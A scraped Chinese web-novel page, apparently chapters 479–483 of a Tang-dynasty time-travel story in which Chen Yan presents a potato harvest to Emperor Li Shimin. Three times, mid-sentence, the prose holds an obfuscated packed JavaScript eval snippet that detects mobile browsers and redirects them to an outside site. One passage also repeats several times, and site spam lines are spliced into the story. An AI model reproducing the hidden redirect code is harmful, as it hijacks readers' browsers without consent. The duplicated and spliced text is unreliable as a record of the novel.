正当陈衍喜滋滋地想着的时候,旁边又突然窜出来一道声音。 “我说你一天天事咋那么多呢?你方才又让小顺子去宫里请我父皇了?” 来人除了高阳还能有谁? 陈衍瞥了她一眼,“你懂个啥?” “信不信你父皇巴不得我天天去请他?” “呵呵.”高阳不置可否,自顾自地在他旁边躺下来,用下巴轻轻点了点不远处那块地。 “你不就是想让我父皇来帮你挖地吗?说那么冠冕堂皇干什么?” “知道了你还说什么?” 高阳:“.” “.” 第479章 种下一颗种子 高阳白了他一眼,依偎在他怀里,轻声道:“你对那土豆上心了那么久,等这批长出来,是不是有足够的粮种了?” “还差得多。”陈衍叹息,“不过算是有一个比较不错的开端了,以前我得到那唯一的半颗土豆时,对救活它其实没抱什么信心。” “或许是上天垂怜,竟然让那唯一的半颗土豆生根发芽了。” “有了这八分地的土豆作为粮种,明年差不多便能开始大规模种植,倘若无旌骑顺利的话,带回大量占城稻粮种,二者相加,那么盛世将不再是一句空谈。” 对于这样的时代来说,粮食充足,百姓不用忍饥挨饿,那就是天大的盛世了。 “其实我一直想问你,你最初那半颗土豆种子,是从什么地方得到的?”高阳不解道:“为什么你不顺着那半颗土豆往下查,说不定能得到更多土豆呢?” “那样一来,你早就可以开始大规模种植了。” “说得容易。”陈衍吐槽:“要是能查到,还用得着你说?” “那唯一的半颗土豆能被我得到,已经是天大的幸运了,根本没有第二颗,至少我们这片土地上没有。” 高阳迅速抓住了陈衍话中的重点,“我们这片土地上没有,那就代表其他土地上有咯?海域之外?” “对!”陈衍没有否认,“世界何其广阔,不单大唐周边的小国都有很多好东西,海域之外更是一座难以想象的宝藏,倭国的银矿不就是最好的例子吗?” “更甚至,土豆这样产量高的粮食也不是唯一一种,只是以前没在这边出现过罢了。” 高阳思索着点点头,“这就是你为什么非要组建无旌骑的理由?除了占城稻和银矿,你还想去更远的地方?” 陈衍道:“那得看目前的造船技术是否支持我派人去更远的地方了,如果条件允许,我绝对是要试试的。” “不过这急不来,造船技术目前已经陷入了瓶颈,倘若想造出更好的船,那么需要优化的技术不是一项两项,慢慢来吧。” 明朝有郑和下西洋,如今大唐有他在,李淳风和袁天罡未必不 能下西洋。 这是他从未跟别人详细说过,组建无旌骑真正的理由。 如果条件允许,他甚至想让李淳风和袁天罡去美洲,那边的好东西真的太多了,即使很多他目前用不到,那也可以带回来,留给后人。 当然,陈衍也很清楚,这太难了,几乎不可能做到。 除非李泰大爆发,造出了远超目前技术的船,加上一群意志坚定的人,以及举国之力的支持,和气运眷顾,或许有些希望。 以目前的情况来说,大唐的船只可能到达东南亚、甚至借助季风横渡印度洋,美洲是遥不可及的地方。 陈衍不是专业的人员,他只是一个医学生,没有那么大的能力,只能尽自己所能地为后世铺路。 种下一颗种子,待到后世生根发芽,然后茁壮生长。 “.” 高阳伸手抚摸着他的脸,眼里满是复杂,“有时候我真看不懂你,这些东西你到底是怎么知道的?例如那土豆,大家都不认识,当成路边的垃圾,偏偏你视若珍宝。” “还有你那特殊的思维方式,令人惊叹的知识,仿佛与我们格格不入。” “父皇和母后对此心照不宣地沉默,从未询问过你,我们也一样。只是今天我真的忍不住了。” “王太医说你是天上来的谪仙人,大多数人都当成乐子,可越是跟你接触得久,就越发现你的神秘。陈衍,你还未曾及冠啊,你有一天是否会离我而去?” “.会吧!”陈衍嘴角止不住地抽搐,随即长叹,低头蹭了蹭她的额头,低沉着声音道:“我们终究不是一个世界的人,能相伴走过一程已经很好了,我不敢奢望太多,希望你也是。” 高阳的眼眶被泪水浸染,哪怕依偎在他怀里,却感觉身边的人随时会离去,再也找不到。 此刻,天不怕地不怕的高阳公主,前所未有的害怕。 “我” “毕竟我是人,你是狗,人狗殊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856705|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 途啊!” 高阳:“.” “.诶” 她愣了好一会儿,眨眨眼,迷 茫了一瞬随后反应过来脸瞬间涨红愤怒地举起拳头狠狠砸在陈衍胸口。 “.**!” 陈衍险些窒息这一下太狠了他恍惚间好像看见了自己的太奶。 “王八蛋!我很认真地问你就会拿老娘开涮!”高阳真的生气了一点不开玩笑。 再次举起拳头还想给他来一下狠的! “等等 陈衍慌了赶忙拉住她的手臂死死抱着“你怎么还玩不起呢?” “明明是你脑子突然进水竟然问我这种傻到可笑的问题我不就开开玩笑吗?” “嘶~”他胸口隐隐作痛倒吸一口凉气“至于搞这么大吗?我都快被你锤**!” “**亲夫啊!” 高阳用力抽了抽自己的手发现抽不出来没好气道:“疼死你得了谁让你一天天老没个正经!” “到底是我不正经还是你不正经?”陈衍嘟囔道:“还相信王老梆子的话什么狗屁的谪仙人我要是谪仙人我能看得上你?” “早特么找仙女去了!” 话糙理不糙加上高阳早就习惯跟陈衍的相处方式倒也没觉得生气反而放松了下来。 她男人还是她男人一辈子都是! 高阳明白这一点之后见陈衍龇牙咧嘴地揉着胸口又觉得心疼轻轻替他揉了揉温声道:“疼不疼啊?要不要我给你擦擦药?” “算了!”陈衍郁闷道:“这就是我的命啊娶了你这么个瘪犊子玩意儿时不时就给我来一下子。” “等会陛下来了我得问问他能不能退货我有点受不了了。” 高阳闻言柳眉一竖“退退退你去退吧!最好把姐姐和小岁安一股脑全退了!” “那样你命就好了!” “真让我退?”陈衍似乎有些意动。 “王八蛋!” 高阳气极挥舞着歹徒兴奋拳就上了。 “.” 第480章 夺少?你说夺少? 陈衍和高阳打打闹闹半天,中途李丽质来过一次。 她也听说了陈衍派人去请李世民,所以来看看,没曾想一来就看到两人又在掐架。 李丽质看了眼,随后没上前打扰。 上次就是因为她想劝架,导致自己也遭了重,她这次说什么都不劝架了。 好半晌,两人都累了,安静地躺在椅子上,听着风声吹过,倒别有一番滋味。 而李丽质见他们吵完,不想干看着,小心翼翼地凑了过去,在陈衍另一边躺了下来。 她啧啧两声,似笑非笑道:“说起来,夫君这椅子倒是越做越大了呢。” 高阳嗤笑,“某人的心思简直不要太好猜,记得我最初的时候,这椅子只能躺一个人的。” 陈衍并不在意两人怎么说,反正都这样了,有啥好说的。 三人说说笑笑间,丝毫没有发现,远处的拐角探出了一个小脑袋。 兕子见三人安安静静地相处在一起,有些惊讶,更多的是欣慰。 “丽质阿姐没骗我啊,原来她真有自己的节奏,总算不用**心了。” 低喃一句,兕子蹦蹦跳跳地跑去找城阳公主玩了。 陈衍三人说了会儿话,忽然一阵困意袭来。 渐渐地,三人都不自觉睡了过去。 直到小顺子和青儿领着李世民和长孙皇后过来,夫妻俩还在想陈衍今天又要给自己什么惊喜呢。 结果一来就发现三人躺椅上熟睡了过去。 李世民眼角抽搐,倒没说什么。 长孙皇后则是很意外,“臣妾原以为这三人每天就知道打闹呢,原来还有这么安静相处的时刻。” 青儿尴尬道:“殿下,奴婢奴婢这就去叫醒少爷。” “哎!”李世民抬手制止了她,“你们俩先出去吧,朕亲自去。” 小顺子和青儿面面相觑,心里很担心陈衍,又不敢违逆李世民,只好恭敬应下,缓缓退出去了。 李世民带着长孙皇后放缓脚步,来到躺椅旁边,忽 然笑了“其实吧他们感情还是很好的就是相处的方式令人啼笑皆非罢了。” “说得也是。”长孙皇后脸上挂着淡淡的笑“如若不然高阳去年的时候不会整天想着给子安生个孩子。” 李丽质睡眠浅听见有人在旁边说话迷迷糊糊地睁开眼。 见李世民和长孙皇后当面愣了一下重新闭上眼又再度睁开。 “阿耶.阿娘!” 李丽质慌慌张张地起身动作不小吵醒了陈衍和高阳。 “哟醒了啊?”李世民笑眯眯道。 高阳连忙起身陈衍尴尬地笑了笑“陛下您来得挺快哈见笑见笑了。” “是朕来得太快还是你睡得太死啊?”李世民眉头一挑。 “你小子倒是享受得很在这里左拥右抱的反倒是朕一听你说有什么天降祥瑞紧赶慢赶地过来。” “朕怎么有种你在使唤朕的感觉呢?” “错觉都是错觉!”陈衍可不敢认这话急忙转移话题“对了陛下、皇后殿下说起天降祥瑞今日我可真给您二位准备了个大惊喜啊保管您满意!” “来来来跟我来看看。” 说着他招呼两人跟他走。 不知为何李世民夫妇一见到陈衍如此忽然就感觉心情好了很多。 这小子确实有意思得很。 “丽质 李丽质轻轻点头走了。 李世民好奇道:“子安拿两把锄头来是干什么?什么叫让朕过过瘾?” “陛下您看这边!”陈衍指了指。 李世民和长孙皇后顺着陈衍手指的方向看去只见一片郁郁葱葱的藤蔓铺满了整片园地他们从未见过这般模样的作物。 “这是.”长孙皇后走近两步好奇地打量着“子安这作物叶片宽大藤蔓匍匐像是某种瓜类?” “皇后殿下好眼力。”陈衍笑道“不过它不 是瓜,而是地下结果实的宝贝。 “地下?李世民也来了兴致,“难不成是类似芋薯一类? 陈衍没有立刻回答,而是等李丽质带着两把锄头回来,这才拿起一把,递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856706|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给李世民:“说再多不如您亲自看看,挖开就知道了! 李世民接过锄头,入手颇沉,却是上好的精铁打造。 他虽贵为天子,年轻时也是被李渊要求种过地,对这种农具并不陌生。 长孙皇后在一旁温和地提醒:“陛下小心些。 “无妨。李世民兴致勃勃地选了一株长势最为茂盛的植株,小心地将锄头切入土中。 第一锄下去,松软的黑土被翻开。 李世民动作很小心,生怕伤到地里的东西,当第二锄翻开时,几个黄褐色的块茎露出了轮廓。 “这是. 陈衍弯腰捡起那块茎,用衣袖擦去泥土,露出黄白色的内里,他将它双手捧给李世民:“陛下请看,我称之为‘土豆’,又名‘马铃薯’,它相当耐寒耐旱,哪怕在贫瘠之地也能茁壮生长,最关键的是 他顿了顿,咧嘴笑道:“亩产可达七担以上! “夺少?你说夺少?饶是见多识广的李世民也倒吸一口凉气,“七担?! 按照市斤的话,这可是上千斤啊! 哪怕在荆州,偶尔产量爆发的水稻,最高也才四担多。 这已经是李世民听过最高产量的粮食了。 对比七担的土豆,几乎是翻倍啊! 他接过那块沉甸甸的土豆,反复端详,长孙皇后也凑近细看,伸手轻轻摸了摸土豆粗糙的表皮。 “子安,你真是又给了朕一个大惊喜啊!李世民的声音有些发紧,并未怀疑陈衍的话。 因为土豆就在面前,是与不是,全部挖开就知道了。 更何况,陈衍怎么可能傻到在这上面骗他? “恭喜陛下了,若子安所言非虚,那确实称得上天降祥瑞!长孙皇后原本只想出来透透气,没想到竟然见到了如此高产的粮食! “陛下,挖吧,让您过过瘾!陈衍道。 “好! 李世民眼冒精光,抡起锄头就开挖了。 李丽质和高阳望着笑呵呵的陈衍,又看了看干活的李世民. 难绷啊! “. 第481章 你别狡辩了,本宫说不过你 吭哧吭哧挖了半天,李世民擦了擦额头的汗水,回头一看,忽然意识到了不对。 “朕艹!这就是你所谓的让朕过过瘾?” “朕在这边干了半天,结果你小子站在旁边乐呵呵地看着?” 李世民大怒,一把扔下锄头,气急败坏地踏了两步,清理掉鞋上的泥土,而后冲过来二话不说给陈衍脑袋上来了一下子。 “这瘾你自己过去吧,朕过不了一点!” 陈衍摸了摸后脑勺,咦,不咋疼。 他憋着乐,“陛下,可我不怎么想过瘾啊,这土豆最初的种子只有半颗,我已经收获过好几次,重新种下才有了如今的规模,有瘾的早过完啦。” “.咳咳,丽质啊,你叫小顺子派人过来挖吧,顺便带把大秤过来,称给陛下看看。” 李丽质正想答应,李世民怒道:“你就会使唤朕的长乐吗?你自己没长腿?” “自己去叫,一天天懒得都不像个人了。” 陈衍:“.” 行吧,自己去。 陈衍撇撇嘴,现在的李世民明显有些气急败坏了,他还是别触霉头比较好。 待他走后,李丽质哭笑不得道:“父皇,夫君不懒,否则哪里能一次次给您惊喜呢。” “那土豆最初只剩半颗,差不多快要腐烂了,是夫君亲自日日夜夜照料才好不容易长出来的。” “后来收获第一批,从浇水到灌溉都是夫君自己来的呢,生怕土豆出了差错。” “您别生气。” 李世民张了张嘴,不说话了。 长孙皇后展颜一笑,“丽质,你不懂,子安和你阿耶翁婿俩就是这样相处的,就跟子安和高阳一样。” “你阿耶没跟子安生气,你莫要担心。” “嗯!”李世民神色舒缓,“朕稍微教训他一下,没跟他一般见识,免得以后在家欺负你。” 李丽质心里暗自翻白眼。 什么免得以后欺负我,不就是因为大家看你一个人挖了半天土豆,觉得丢了 面子吗? “陛下,子安今日又立下了大功,得给子安些实际赏赐了。”长孙皇后来到李世民身边,压低声音提醒。 李世民闻言陷入思索,习惯性地摸着自己的小胡子。 长孙皇后说的这个实际赏赐已经暗示得很明显了。 什么叫实际赏赐? 要么是给钱,要么是给权。 目前陈衍已经是国公,那些虚的头衔也不能再往上了,而陈衍又不缺钱,那自然是给权了。 长孙皇后的意思,应该是差不多了,该调陈衍入长安了。 李世民也正有此打算,加上土豆的出现,相信自己哪怕给陈衍高点的职位,也无人敢说什么。 他微微颔首,表示自己明白了。 随后,李世民望向不远处百无聊赖的高阳公主,心里一动,“对了,青雀呢?上次你们回长安,他不跟着也就罢了,如今我跟你们阿娘来了渭南县,他还不过来?” “来啦,父皇,儿臣来啦!” 此时,李泰的声音从远处传来,他快步跑着,后面还跟着陈衍以及叫来的下人。 不用想,肯定是陈衍叫他过来的。 “行了,来了就滚吧。”没见到儿子,李世民心里多少有些想念,现在一见到,又觉得烦了,大手一挥就让他滚一边待着。 李泰:“.” 得,那我滚吧。 他不敢说话,揣着手跟昔日的死对头高阳站在一起。 “好了,开挖吧,朕亲眼看看这天降祥瑞!”李世民让陈衍带来的人挖土豆,然后一屁股坐在了躺椅上。 陈衍又赶紧吩咐小顺子去搬来几张凳子,让长孙皇后等人全部坐下。 李世民眼睛一眨不眨地盯着众多下人挖土豆,而李丽质则在跟长孙皇后轻声交谈。 “阿娘,兕子和城阳被婵儿她们带出去玩了,看时辰,应该快回来了。” 长孙皇后恍然,这才明白为什么陈衍只叫了青雀,却没看到兕子和城阳两人。 “两个小家伙在你们 这里过得很不错 说的域名caixs?(请来才小 说 看最新章节< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856707|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 完整章节)难怪总不愿意回宫。”她心里有些不是滋味但又为两个女儿感到高兴。 皇宫虽好可住久了却跟一个牢笼一样。 就跟她一样从前住久了没觉得有什么但跟着出来几次之后每每总想再继续出来走走。 李丽质解释道:“兕子和城阳不是整天都在玩上午的时候夫君会教导他们知识等他们写完布置的作业才能玩。” “夫君说两人还小需要劳逸结合。” “嗯。”长孙皇后温声道:“子安别的方面阿娘可能会怀疑唯独教导孩子这方面阿娘是绝对相信的。” “你两个妹妹被教导得很好我很满意。” 李丽质听后忽然沉默了。 想起那个总是语出惊人的妹妹她也不知道长孙皇后到底满意什么。 “殿下其实我别的方面您也是可以相信的。” 这时陈衍恬不知耻地插话“我除了教导孩子身上还有很多本事您没发现呢。” 长孙皇后不置可否用下巴轻轻点了点高阳和李泰的方向“你看看那边。” 陈衍和李丽质转头一看才发现高阳和李泰不知何时脸上尽是鄙夷的表情。 陈衍一下子黑了脸“殿下这两人跟我势如水火恍若仇敌您可不能相信他们啊。” 长孙皇后哑然失笑“那为何本宫跟陛下来的时候你跟你的仇敌融洽地躺在一张椅子上休息呢?” “我” “行了你别狡辩了本宫说不过你。” 陈衍:“.” 因为说不过我所以说都不让我说了是吧? 长孙皇后又道:“看你目前清闲的样子渭南县应该已经没有以前繁忙了吧?” 陈衍大概猜到了她问这个问题的用意老实地点点头。 “那你准备一下今年之前朕打算让你回长安了。”李世民突然插话头也不回道: “渭南县就交给你招的那几个人吧朕关注过他们处理事务的情况都是很优秀的人才。” “全留下吗?”陈衍有些犹豫。 上次杜构跟他说那回事他觉得可以所以想把杜构他们一同带走。 “.” 第482章 泰山封禅? 听到他的话李世民似乎是被吸引了注意力终于将目光转移了过来。 “怎么?你想带走几个人?” 陈衍讪笑一声“我总觉得我回长安的话您大概要狠狠地压榨我手底下有几个熟悉的人办事总归能轻松点。” 李世民:“.” 他被气笑了“什么叫朕要狠狠地压榨你?朕让你当高官给你权力这叫压榨?” “如果这叫做压榨的话那么整个大唐的人估计全都想被朕压榨!” 陈衍欲言又止拱手道:“陛下您知道的我没有那么大野心什么高官权力对我来说不如多花点时间陪陪家人教导一下几个妹妹偶尔跟高阳和丽质如此前一般躺着休息休息晒晒太阳。” “这样的生活我已经很满足了。” “你”李世民那真是恨铁不成钢。 陈衍有这样的想法他早就知道了 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节)毕竟陈衍从未隐藏过还多次直白地跟他提起。 如果换做一个普通的女婿那么李世民也就随他去了。 偏偏这个人是陈衍李世民哪里能放过他这样的人才跑去整天享受啊? 看看看看陈衍进入他视线之后大唐有了多少改变? 可以说是翻天覆地盛世不再是一个遥不可及的梦。 李世民本以为自己给陈衍权力让他享受一下拥有权力的风景多少能改变他一点。 没曾想到现在还是这样。 “你啊!”李世民指着他“你让朕说你什么好?” 似乎是见李世民理解错了自己的意思陈衍连忙道:“陛下我没有抗拒回长安任职就是我这个人懒散惯了希望您多给我几个人帮我打打下手给我一些空闲的时间陪陪家人就好。” 听到这里李世民的神色总算缓和了下来“说得好像朕是什么奴隶主似的你看克明他们哪个不是完成自己的分内之事就行了?朕难不成那么不讲理连让你跟家人相处的时间都没有吗?” “算了朕不和你一般见识你的要求朕答 应了。” “杜构、房遗直、马周这三个人你就带上吧朕到时候会安排好的。” “反正你走了朕估计克明他们也不会让杜构继续留着剩下几个人应对如今的渭南县倒也够了。” 陈衍暗自腹诽:‘若自己没有提出来的话你搞不好还真不会跟我讲理把我当牛马使。’ “那就多谢陛下了。”陈衍很是高兴地说没有装模作样他是真高兴。 如今有了保障哪怕回了长安也不是不能接受。 李世民不耐地挥挥手 随着一个个土豆被挖出来他眼里的惊喜也越来越多。 此时长孙皇后不经意瞥了陈衍一眼有些无奈却又有些欣慰。 无奈的是这种事陈衍完全可以跟她说由她私下跟李世民商量没必要自己当面跟李世民说。 因为陈衍自己跟李世民说的话很可能让李世民那股执拗劲上来到时候就没那么好说话了。 等会非给你多安排些政事看你怎么办。 “对了上次你说跟世家合作如今怎么样了?”李世民突然问。 “这个啊”陈衍想了想“自从上次在长安达成初步的意向之后世家就再没找过我了。” “我认为他们这段时间应该在急着收集渭南县各处的具体情况以便正式开始合作的时候能最快速地掌握我手中的东西或者挖掘我的秘密。” “估摸着最慢半个月之内他们应该就会派人上门找我了。” 说着陈衍无所谓道:“反正只是试试罢了成了有意外惊喜不成也没什么损失我不着急。” “嗯你做得对不用着急。”李世民淡淡道:“以目前的局势来说该急的是他们了。自从年初放出科举的消息现在已经有无数的学子开始返回家乡准备县考。” “在这段时间里你的图书馆贡献甚大朕认为今年的科举大概会有寒门子弟冒头。” “如此一来那便是一个好的开始相信只要你的图书馆不倒 今后会有更多的寒门子弟冒出来。 “届时,那些世家将会失去他们最大的优势! 陈衍道:“说起来,我正想跟您商量商量此事呢,随着大量学子返回家乡,等他们考中,或者落榜,一定会返回这边。 “一座图书馆终究不太够,我觉得可以重新在长安城开图书馆了,而且要开两座,您觉得怎么样? 李世民有些奇怪,“你跟朕说这个干嘛?那图书馆是你的,朕又管不住,你想开就开啊。反正是好事,朕又不拦着你。 长孙皇后在旁边听了半天,听到自家丈夫的话,忍不住抚额,“陛下,臣妾觉得,子安的意思是,如今您并不缺少钱财,手里有活字印刷的技术,书籍更是不缺,这是一个赚取名声,收获民心的好机会呀。 李世民此时才反应过来,诧异道:“你想让朕来开图书馆? 陈衍点头,“皇家图书馆,或者皇家藏书阁,您感觉这个名字怎么样? 一座图书馆已经让他赚足了名声,该让李世民尝点甜头了。 总不能出了问题就找他,有危险就搬去皇宫,遇到棘手的事,就想着苦一苦他。 李世民沉默片刻,颇为感慨道:“朕有时候觉得自己挺幸运的,还好自己的年纪不算大,否则的话,只能带着遗憾把你交给承乾了。 “陛下言重了。陈衍谦虚地笑了笑,“不仅是渭南县,大唐也在走向快速发展的路上。 “陛下,您准备好迎来盛世,带着我们前往泰山封禅了吗? 提起这个,李世民热血沸腾,意气风发道:“昔日,曾有大臣向朕提议前往泰山封禅,朕拒绝了! “不是朕不想去,而是那时的朕觉得自己没有那个资格! “但是,朕时刻准备着! “. 听说看这本书的人都是很幸运的,分享后你的运气会更棒 今后会有更多的寒门子弟冒出来。 “届时,那些世家将会失去他们最大的优势! 陈衍道:“说起来,我正想跟您商量商量此事呢,随着大量学子返回家乡,等他们考中,或者落榜,一定会返回这边。 “一座图书馆终究不太够,我觉得可以重新在长安城开图书馆了,而且要开两座,您觉得怎么样? 李世民有些奇怪,“你跟朕说这个干嘛?那图书馆是你的,朕又管不住,你想开就开啊。反正是好事,朕又不拦着你。 长孙皇后在旁边听了半天,听到自家丈夫的话,忍不住抚额,“陛下,臣妾觉得,子安的意思是,如今您并不缺少钱财,手里有活字印刷的技术,书籍更是不缺,这是一个赚取名声,收获民心的好机会呀。 李世民此时才反应过来,诧异道:“你想让朕来开图书馆? 陈衍点头,“皇家图书馆,或者皇家藏书阁,您感觉这个名字怎么样? 一座图书馆已经让他赚足了名声,该让李世民尝点甜头了。 总不能出了问题就找他,有危险就搬去皇宫,遇到棘手的事,就想着苦一苦他。 李世民沉默片刻,颇为感慨道:“朕有时候觉得自己挺幸运的,还好自己的年纪不算大,否则的话,只能带着遗憾把你交给承乾了。 “陛下言重了。陈衍谦虚地笑了笑,“不仅是渭南县,大唐也在走向快速发展的路上。 “陛下,您准备好迎来盛世,带着我们前往泰山封禅了吗? 提起这个,李世民热血沸腾,意气风发道:“昔日,曾有大臣向朕提议前往泰山封禅,朕拒绝了! “不是朕不想去,而是那时的朕觉得自己没有那个资格! “但是,朕时刻准备着! “. 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 今后会有更多的寒门子弟冒出来。 “届时,那些世家将会失去他们最大的优势! 陈衍道:“说起来,我正想跟您商量商量此事呢,随着大量学子返回家乡,等他们考中,或者落榜,一定会返回这边。 “一座图书馆终究不太够,我觉得可以重新在长安城开图书馆了,而且要开两座,您觉得怎么样? 李世民有些奇怪,“你跟朕说这个干嘛?那图书馆是你的,朕又管不住,你想开就开啊。反正是好事,朕又不拦着你。 长孙皇后在旁边听了半天,听到自家丈夫的话,忍不住抚额,“陛下,臣妾觉得,子安的意思是,如今您并不缺少钱财,手里有活字印刷的技术,书籍更是不缺,这是一个赚取名声,收获民心的好机会呀。 李世民此时才反应过来,诧异道:“你想让朕来开图书馆? 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一座图书馆已经让他赚足了名声,该让李世民尝点甜头了。 总不能出了问题就找他,有危险就搬去皇宫,遇到棘手的事,就想着苦一苦他。 李世民沉默片刻,颇为感慨道:“朕有时候觉得自己挺幸运的,还好自己的年纪不算大,否则的话,只能带着遗憾把你交给承乾了。” “陛下言重了。”陈衍谦虚地笑了笑,“不仅是渭南县,大唐也在走向快速发展的路上。” “陛下,您准备好迎来盛世,带着我们前往泰山封禅了吗?” 提起这个,李世民热血沸腾,意气风发道:“昔日,曾有大臣向朕提议前往泰山封禅,朕拒绝了!” “不是朕不想去,而是那时的朕觉得自己没有那个资格!” “但是,朕时刻准备着!” “.” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 今后会有更多的寒门子弟冒出来。” “届时,那些世家将会失去他们最大的优势!” 陈衍道:“说起来,我正想跟您商量商量此事呢,随着大量学子返回家乡,等他们考中,或者落榜,一定会返回这边。” “一座图书馆终究不太够,我觉得可以重新在长安城开图书馆了,而且要开两座,您觉得怎么样?” 李世民有些奇怪,“你跟朕说这个干嘛?那图书馆是你的,朕又管不住,你想开就开啊。反正是好事,朕又不拦着你。” 长孙皇后在旁边听了半天,听到自家丈夫的话,忍不住抚额,“陛下,臣妾觉得,子安的意思是,如今您并不缺少钱财,手里有活字印刷的技术,书籍更是不缺,这是一个赚取名声,收获民心的好机会呀。” 李世民此时才反应过来,诧异道:“你想让朕来开图书馆?” 陈衍点头,“皇家图书馆,或者皇家藏书阁,您感觉这个名字怎么样?” 一座图书馆已经让他赚足了名声,该让李世民尝点甜头了。 总不能出了问题就找他,有危险就搬去皇宫,遇到棘手的事,就想着苦一苦他。 李世民沉默片刻,颇为感慨道:“朕有时候觉得自己挺幸运的,还好自己的年纪不算大,否则的话,只能带着遗憾把你交给承乾了。” “陛下言重了。”陈衍谦虚地笑了笑,“不仅是渭南县,大唐也在走向快速发展的路上。” “陛下,您准备好迎来盛世,带着我们前往泰山封禅了吗?” 提起这个,李世民热血沸腾,意气风发道:“昔日,曾有大臣向朕提议前往泰山封禅,朕拒绝了!” “不是朕不想去,而是那时的朕觉得自己没有那个资格!” “但是,朕时刻准备着!” “.” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 今后会有更多的寒门子弟冒出来。” “届时那些世家将会失去他们最大的优势!” 陈衍道:“说起来我正想跟您商量商量此事呢随着大量学子返回家乡等他们考中或者落榜一定会返回这边。” “一座图书馆终究不太够我觉得可以重新在长安城开图书馆了而且要开两座您觉得怎么样?” 李世民有些奇怪“你跟朕说这个干嘛?那图书馆是你的朕又管不住你想开就开啊。反正是好事朕又不拦着你。” 长孙皇后在旁边听了半天听到自家丈夫的话忍不住抚额“陛下臣妾觉得子安的意思是如今您并不缺少钱财手里有活字印刷的技术书籍更是不缺这是一个赚取名声收获民心的好机会呀。” 李世民此时才反应过来诧异道:“你想让朕来开图书馆?” 陈衍点头“皇家图书馆或者皇家藏书阁您感觉这个名字怎么样?” 一座图书馆已经让他赚足了名声该让李世民尝点甜头了。 总不能出了问题就找他有危险就搬去皇宫遇到棘手的事就想着苦一苦他。 李世民沉默片刻颇为感慨道:“朕有时候觉得自己挺幸运的还好自己的年纪不算大否则的话只能带着遗憾把你交给承乾了。” “陛下言重了。”陈衍谦虚地笑了笑“不仅是渭南县大唐也在走向快速发展的路上。” “陛下您准备好迎来盛世带着我们前往泰山封禅了吗?” 提起这个李世民热血沸腾意气风发道:“昔日曾有大臣向朕提议前往泰山封禅朕拒绝了!” “不是朕不想去而是那时的朕觉得自己没有那个资格!” “但是 “.” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第483章 近乎于妖 又是几日过去,今天傍晚,杜构亲自上门来请陈衍前去他家吃饭。 对此,陈衍自然没有拒绝的道理。 跟李丽质她们说了一声后,便跟杜构出门了。 路上,杜构随口问了一句,“陈兄,前几日我听房兄说,在外面看到了陛下和娘娘的身影,那二位又来了一次吗?” “是啊。”说起这个,陈衍郁闷了。 他好不容易把土豆种出来,有了上千斤的规模来当粮食种,本想交给李世民,将这个麻烦丢出去,免得在手里一直惦记。 没曾想,李世民一句‘你有种植土豆的经验,你再种一次’,然后便在渭南县划了一片地给他。 到头来,土豆还得自己来种。 不过 陈衍倒是从这件事里看出了,李世民大概想让自己什么时候回长安。 估摸着,他还能留在渭南县轻松几个月。 “杜兄,咱们留在渭南县的日子不多咯,需要慢慢做些安排了。” 杜构一听,明白了陈衍的意思,“放心,今日我叫了房兄和李义府他们,咱们先初步定下来,手上的公务慢慢移交给他们就好,不会出现乱子的。” “我倒不是担心出现乱子。”陈衍咂咂嘴,“我的意思是,该为回长安做些准备了,否则贸然回去,指不定有什么意外情况呢。” “咱们在渭南县可得罪了不少人。” 杜构愣了一下,用开玩笑的语气说:“不会吧?陈兄!咱们回长安不说猛虎归山,再怎么样也算得上老太太擦鼻涕,手拿把掐的吧?” “不管长安朝堂局势怎么样,难不成有人敢给咱们使绊子?” 陈衍:“.” 好家伙,这些人跟自己待久了,怎么动不动就冒出一句歇后语啊? 高阳是如此,杜构同样是如此。 你们咋那么会学呢? “给咱们使绊子.应该是不会。”陈衍沉吟道:“毕竟咱们背后有人,一般人没谁敢吃熊心豹子胆招惹咱们。” “但问 题是咱们锋芒太甚回到长安想站稳脚跟我料想应该不会太容易。” “一个小小的渭南县就能被我们闹得风起云涌谁知道咱们回长安会怎么样?” 杜构闻言沉思觉得这话听起来怪怪的。 类似这种话由陈衍来说好像不太合适若是换做那些不想看到他们好的人来说那就合理了。 不过杜构也理解了陈衍的意思。 想了想道:“那要不咱们物色几个人手看看回长安之后顺便打造一个班底以此来尽快帮我们站稳脚跟?” 陈衍顿了顿“你的意思是我们强势点?” 杜构轻轻颔首“没错所谓新官上任三把火咱们可不是上任一个而是四个火不烧旺点怎么行?” 